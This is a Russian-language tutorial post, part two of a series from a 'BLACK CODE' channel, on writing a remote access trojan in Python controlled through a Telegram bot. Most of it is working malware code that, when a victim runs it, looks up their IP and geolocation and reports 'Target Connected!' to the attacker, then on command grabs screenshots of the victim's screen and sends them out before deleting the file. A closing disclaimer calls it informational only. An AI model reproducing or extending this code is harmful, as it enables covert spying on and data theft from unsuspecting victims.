Пишем RAT на Python. 2 Часть.

Пишем RAT на Python. 2 Часть.

BLACK CODE

Создание RAT с управлением через Telegram. Часть 2.

BLACK CODE. Авторский контент.

Всем привет! Это канал BLACK CODE. Это вторая часть по созданию "КРЫСЫ" на Python. Сегодня мы уже немного поработаем над самим ратником.



Первая часть

В первой части мы совсем не делали функционал для нашего RAT'ника, а только сделали основу для бота. Сегодня мы уже займёмся функционалом.

А начнём мы с новой функции

Функция new_target()

Эта функция нужна для того, чтобы когда пользователь запустил ратник, то нам бы отправилось сообщение, где предоставляются данные.

Она выглядит так:

def new_target(): # Функция для нового пользователя RATника
 # Назначем переменные заранее, чтобы избежать лишнего кода
 country = '-'
 region = '-'
 city = '-'
 timezone = '-'
 zipcode = '-'
 loc = ''
 target_ip = requests.get('https://ip.42.pl/raw').text # Получение IP нового юзера
 url = 'https://ipinfo.io/' + target_ip + '/json' # Составляем ссылку для информации по IP
 json = requests.get(url).json() # Получаем json из нашей ссылки
 if 'country' in json: # Если в нашем json указана страна, то...
  country = json['country'] # переменной country присваивается значение страны IP
 # Далее всё идёт по такой же схеме
 if 'region' in json:
  region = json['region']
 if 'city' in json:
  city = json['city']
 if 'timezone' in json:
  timezone = json['timezone']
 if 'postal' in json:
  zipcode = json['postal']
 if 'loc' in json: 
  loc = json['loc'] 
 target_date = datetime.today().strftime('%Y/%m/%d') # Получаем дату у пользователя
 target_time = datetime.today().strftime('%H:%M') # Получаем время у пользователя
 # Составляем сообщение для отправки ботом
 new_target_message = 'Target Connected!\nIP: ' + target_ip + '\nCountry: ' + country
 new_target_message += '\nRegion: ' + region + '\nCity: ' + city + '\nTimeZone: ' + timezone
 new_target_message += '\nZipCode: ' + zipcode + '\nLocation: ' + loc
 new_target_message += '\nDate: ' + str(target_date) + '\nTime: ' + str(target_time)
 # Бот отправляет нам сообщение
 bot.send_message(user_id, new_target_message)

Вызываем функцию где-то после объявления переменной bot

import telebot
import requests
from datetime import datetime


token = '' # Вписываем Token вашего бота
user_id = '' # Вписываем ваш userid


def new_target(): # Функция для нового пользователя RATника
 # Назначем переменные заранее, чтобы избежать лишнего кода
 country = '-'
 region = '-'
 city = '-'
 timezone = '-'
 zipcode = '-'
 loc = ''
 target_ip = requests.get('https://ip.42.pl/raw').text # Получение IP нового юзера
 url = 'https://ipinfo.io/' + target_ip + '/json' # Составляем ссылку для информации по IP
 json = requests.get(url).json() # Получаем json из нашей ссылки
 if 'country' in json: # Если в нашем json указана страна, то...
  country = json['country'] # переменной country присваивается значение страны IP
 # Далее всё идёт по такой же схеме
 if 'region' in json:
  region = json['region']
 if 'city' in json:
  city = json['city']
 if 'timezone' in json:
  timezone = json['timezone']
 if 'postal' in json:
  zipcode = json['postal']
 if 'loc' in json: 
  loc = json['loc'] 
 target_date = datetime.today().strftime('%Y/%m/%d') # Получаем дату у пользователя
 target_time = datetime.today().strftime('%H:%M') # Получаем время у пользователя
 # Составляем сообщение для отправки ботом
 new_target_message = 'Target Connected!\nIP: ' + target_ip + '\nCountry: ' + country
 new_target_message += '\nRegion: ' + region + '\nCity: ' + city + '\nTimeZone: ' + timezone
 new_target_message += '\nZipCode: ' + zipcode + '\nLocation: ' + loc
 new_target_message += '\nDate: ' + str(target_date) + '\nTime: ' + str(target_time)
 # Бот отправляет нам сообщение
 bot.send_message(user_id, new_target_message)


bot = telebot.TeleBot(token) # создаём бота


new_target()


@bot.message_handler(commands=['start']) # если была введена /start
def start_message(message): # создаём функцию для обработки /start, которая принимает сообщение
    if str(message.chat.id) == user_id: # Если id пользователя, который прислал сообщение = вашему id, то ...
        bot.send_message(message.chat.id, 'Hello!\nIm BlackRat\n\nAuthor: @blackcode_admin\nChannel: @blackcode_tg') # бот отправляет сообщение этому id
        

bot.polling(none_stop=True, interval=0, timeout=30) # зацикливание бота(без этой команды он не будет работать)

Вот, как это выглядит в боте:

Это сообщение отправилось только при запуске.

Добавим ещё функционала нашему ратнику, теперь он будет делать скриншоты и брать текущий IP с геолокацией.

Придётся установить 1 стороннюю библиотеку:

Termux/Linux/MacOS:

pip3 install Pillow

Windows:

pip install Pillow

Импортируем ещё 2 библиотеки:

import os
from PIL import ImageGrab

Библиотека os — стандартная в питоне, так что устанавливать отдельно её не надо.

А из PIL мы импортируем только модуль ImageGrab, он нам нужен, чтобы делать скриншот экрана.

Теперь функция для обработки текста выглядит вот так:

@bot.message_handler(content_types=['text'])
def text_message(message):
    if str(message.chat.id) == user_id: # Если айди пользователя = айди админа, то..
        if message.text == 'Получить IP': # Если текст = Получить IP, то...
            target_ip = requests.get('https://ip.42.pl/raw').text # Берём IP
            bot.send_message(user_id, target_ip)
            # Берём данные о IP
            json = requests.get('https://ipinfo.io/' + target_ip + '/json').json()
            if 'loc' in json: # Если 'loc' есть в жсоне, то...
                loc = json['loc'] # loc = данные в джсоне
                loc = loc.split(',') # Обрезаем данные по запятой
                # Бот отправляет локацию в виде GoogleMaps
                bot.send_location(user_id, float(loc[0]), float(loc[1]))
        elif message.text == 'Скриншот Экрана':
            # Прописываем путь + название 
            screen_name = 'C:\\Windows\\' + str(datetime.now()) + '.png'
            # Делаем скриншот
            screen = ImageGrab.grab()
            # Сохраняем скриншот
            screen.save(screen_name)
            # Открываем скриншот, чтобы отправить
            open_screen = open(screen_name, 'rb')
            # Отправляем скриншот
            bot.send_photo(user_id, open_screen)
            # Закрываем открытый файл
            open_screen.close()
            # Удаялем файл из папки
            os.remove(screen_name)
        else: # Если пользователь ввёл что-то другое, то
            # Бот отправляет сообщение, что не понимает
            bot.send_message(user_id, 'Не понимаю тебя, напиши /help'
    else: # Если ботом попытается пользоваться левый человек, то...
        # Бот отправляет сообщение о том, что бот не для него :)
        bot.send_message(message.chat.id, 'Sorry, but that bot not for you:)')

ВНИМАНИЕ! Только не надо копировать код отсюда, у вас будут ошибки, потому что тут плохо с табуляцией и будут ошибки. В конце статьи, будет ссылка на pastebin, где и будет весь код из этого урока.

Всё довольно просто, а если что-то не понятно, то я везде оставил комментарии с разъяснениями.

Тестирование ратника

Тестирование бота

Как видим, всё отлично работает. Скриншот присылается, IP и геолокация тоже.

Функционал пока слабоват, но это только второй урок, по мере новых уроков будем повышать функционал.

Полный код

Не стоит копировать код из Telegraph'а там теряется вся табуляция, могут быть ошибки, а может и вообще не работать.

Так что, вот код, я его выложил на pastebin, с него копировать можно.

КОД НА PASTEBIN ( кликабельно)



На этом всё. Мы создали уже хоть какой-то функционал, но это ещё оочень сыро, в следующих частях будет добавлять функционал нашему RAT'нику. Дальше - больше.

BLACK CODE, чернее только Vantablack.

Вся информация предоставлена исключительно с целью ознакомления. Мы не несём ответственности за ваши действия.


Канал: BLACK CODE

Литература Хакера: @archivehacker

Лучший обменник криптовалюты в Telegram: Chatex

Админ: @blackcode_admin

Report Page